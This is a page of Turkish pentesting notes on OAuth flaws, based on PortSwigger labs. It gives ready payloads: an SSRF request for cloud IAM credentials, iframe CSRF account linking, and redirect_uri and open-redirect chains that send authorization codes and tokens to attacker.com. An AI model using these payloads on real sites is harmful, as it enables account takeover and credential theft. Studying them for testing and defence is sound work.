🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • OAuth Nedir?
  • Saldırı Yöntemleri
  • OAuth Sonrası Saldırı
  • OAuth Recon
  • OAuth SSRF
  • OAuth Account Takeover
  • Redirect_uri ile Account Takeover
  • Open Redirect ile Account Takeover
  • Proxy Sayfası ile Account Takeover
  • Kaynaklar

Was this helpful?

  1. Web Application Pentesting

OAuth Zafiyetleri

PreviousHTTP Host Header AttackNextGraphQL API

Last updated 19 hours ago

Was this helpful?

OAuth Nedir?

  • OAuth, web sitelerinin ve web uygulamalarının bir kullanıcının başka bir uygulamadaki hesabına sınırlı erişim talep etmesini sağlayan yaygın olarak kullanılan bir yetkilendirme çerçevesidir. En önemlisi, OAuth, kullanıcının oturum açma kimlik bilgilerini talep eden uygulamaya göstermeden bu erişimi vermesine olanak tanır. Bu, kullanıcıların hesaplarının tam kontrolünü üçüncü bir tarafa devretmek zorunda kalmak yerine hangi verileri paylaşmak istediklerine ince ayar yapabilecekleri anlamına gelir.

  • Temel OAuth süreci, bir kullanıcının hesabındaki belirli verilere erişim gerektiren üçüncü taraf işlevselliğini entegre etmek için yaygın olarak kullanılır. Örneğin bir uygulama, bağlantı kurulacak kişileri önerebilmek amacıyla e-posta kişi listenize erişim talep etmek için OAuth'u kullanabilir. Bununla birlikte, aynı mekanizma, kullanıcıların farklı bir web sitesinde sahip oldukları bir hesapla oturum açmalarına olanak tanıyan üçüncü taraf kimlik doğrulama hizmetleri sağlamak için de kullanılır.

Saldırı Yöntemleri

OAuth Sonrası Saldırı

OAuth doğrulaması sonrasında yapılan isteklerde manipülasyon yapmayı deneyebiliriz.

POST /authenticate HTTP/2
Content-Type: application/json

{
    "email":"wiener@gmail.com",
    "username":"wiener",
    "token":"nH53BRQ8VD9ViR56HH4eNtBWPrwm5kRj4EXCPLXw0Kq"
}

POST /authenticate HTTP/2
Content-Type: application/json

{
    "email":"carlos@gmail.com",
    "username":"carlos",
    "token":"nH53BRQ8VD9ViR56HH4eNtBWPrwm5kRj4EXCPLXw0Kq"
}

OAuth Recon

Aşağıdaki yollarda Oauth sunucusunun endpoint adreslerini görebilirsiniz.

https://oauth.example.com/.well-known/oauth-authorization-server
https://oauth.example.com/.well-known/openid-configuration

OAuth SSRF

Eğer oauth sunucusunda ssrf zafiyetini tetikleyecek bir parametre bulabilirseniz OAuth sunucusunun bilgilerini ele geçirebiliriz.

POST /reg HTTP/1.1
Host: oauth.example.com
Content-Type: application/json

{
    "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

OAuth Account Takeover

Eğer hesaba oauth ile giriş eklenirken aşağıdakine benzer çekilde csrf token olmadan ekleme yapılıyorsa zafiyet oluşur.

Kurban aşağıdaki linki açtığında bizim oauth hesabımızı kendi hesabına bağlamış olucak ve hesabına kendi oauth bilgilerimiz ile erişebilicez.

<iframe src="https://example.com/oauth-linking?code=OUR_CODE"></iframe>

Redirect_uri ile Account Takeover

OAuth mekanizması çalırken aşağıdaki şekilde oauth servisinin bir parametre ile gönderildiğini düşünün.

https://oauth.example.com/auth?client_id=xxxxxxxx&redirect_uri=https://example.com/oauth_callback&response_type=code&scope=openid%20profile%20email

Bu durumda kullanıcının yönlendirileceği yeri değiştirerek kodu kendi sunucumuza gönderebiliriz.

<iframe src="https://oauth.example.com/auth?client_id=xxxx&redirect_uri=https://attacker.com&response_type=code&scope=openid%20profile%20email"></iframe>

Open Redirect ile Account Takeover

Üstteki örneği düşünün fakat bu sefer redirect_uri whitelist ile korunuyor olsun. Eğer uygulamada bir open redirect zafiyeti bulursak bu ikisini zincirleyebiliriz.

https://oauth.example.com/auth?client_id=xxxxxxx&redirect_uri=https://example.com/oauth-callback/../post/next?path=https://attacker.com/&response_type=token&nonce=399721827&scope=openid%20profile%20email
<script>
    if (!document.location.hash) {
        window.location = 'https://oauth.example.com/auth?client_id=xxxxxx&redirect_uri=https://example.com/oauth-callback/../post/next?path=https://attacker.com/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>

Proxy Sayfası ile Account Takeover

<iframe src="https://oauth.example.com/auth?client_id=xxxxx&redirect_uri=https://example.com/oauth-callback/../post/comment/comment-form&response_type=token&nonce=1552239120&scope=openid%20profile%20email"></iframe>

<script>
    window.addEventListener('message', function(e) {
        fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>

Kaynaklar

Portswigger Academy:

🕸️
https://portswigger.net/web-security/oauth